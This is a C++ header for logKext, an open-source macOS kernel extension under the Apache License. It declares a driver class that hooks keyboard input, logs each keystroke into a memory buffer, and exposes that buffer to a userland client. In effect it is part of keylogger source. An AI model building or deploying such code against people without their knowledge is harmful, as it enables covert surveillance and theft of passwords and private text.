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logKext.h
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/*
logKext.h
logKext
Copyright 2007 Braden Thomas
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#ifndef LOGKEXT_H
#define LOGKEXT_H
#include "logKextCommon.h"
#include <IOKit/IOLib.h>
#include <IOKit/IOService.h>
#include <IOKit/IOUserClient.h>
#include <IOKit/ndrvsupport/IOMacOSTypes.h>
#define private public
#define protected public
#include <IOKit/hidsystem/IOHIKeyboard.h>
#undef private
#undef protected
void logAction(OSObject *,unsigned,unsigned,unsigned,unsigned,
unsigned,unsigned,unsigned,unsigned,bool,AbsoluteTime);
void specialAction(OSObject *,unsigned,unsigned,unsigned,unsigned,UInt64,bool,AbsoluteTime);
class com_fsb_iokit_logKext : public IOService
{
OSDeclareDefaultStructors(com_fsb_iokit_logKext);
friend class logKextUserClient;
protected:
unsigned char* fMemBuf;
UInt32 buffsize;
IONotifier *notify;
IONotifier *notifyTerm;
// notification handler
static bool myNotificationHandler(void *target, void *ref, IOService *newServ);
static bool termNotificationHandler(void *target, void *ref, IOService *newServ);
public:
UInt32 kextKeys;
// IOService overrides
virtual bool start(IOService *provider);
virtual void stop(IOService *provider);
void activate();
void deactivate();
void clearKeyboards();
OSArray *loggedKeyboards;
IOReturn BuffandKeys(UInt32* size,UInt32* keys);
IOReturn Buffer(bufferStruct* inStruct);
void logStroke( unsigned key, unsigned flags, unsigned charCode );
};
/*
This is the UserClient class that is used to talk to the driver (kext) from userland.
*/
class logKextUserClient : public IOUserClient
{
OSDeclareDefaultStructors(logKextUserClient);
protected:
com_fsb_iokit_logKext* fProvider;
task_t fTask;
public:
// IOService overrides
virtual bool start( IOService* provider );
virtual void stop( IOService* provider );
// IOUserClient overrides
virtual bool initWithTask( task_t owningTask,
void * securityID,
UInt32 type,
OSDictionary * properties );
virtual IOReturn clientClose();
virtual IOExternalMethod* getTargetAndMethodForIndex( IOService** targetP, UInt32 index );
};
// external methods table
static const IOExternalMethod externalMethods[kNumlogKextMethods] =
{
{
// ::IOReturn BuffandKeys(UInt32* size,UInt32* keys);
NULL,
(IOMethod)&com_fsb_iokit_logKext::BuffandKeys,
kIOUCScalarIScalarO, // scalar in/out
0, // number of scalar inputs
2 // number of scalar outputs
},
{
// ::IOReturn Buffer(bufferStruct* myStruct)
NULL,
(IOMethod)&com_fsb_iokit_logKext::Buffer,
kIOUCScalarIStructO, // scalar in/struct out
0, // number of scalar inputs
sizeof(bufferStruct) // size of structure output
},
};
#endif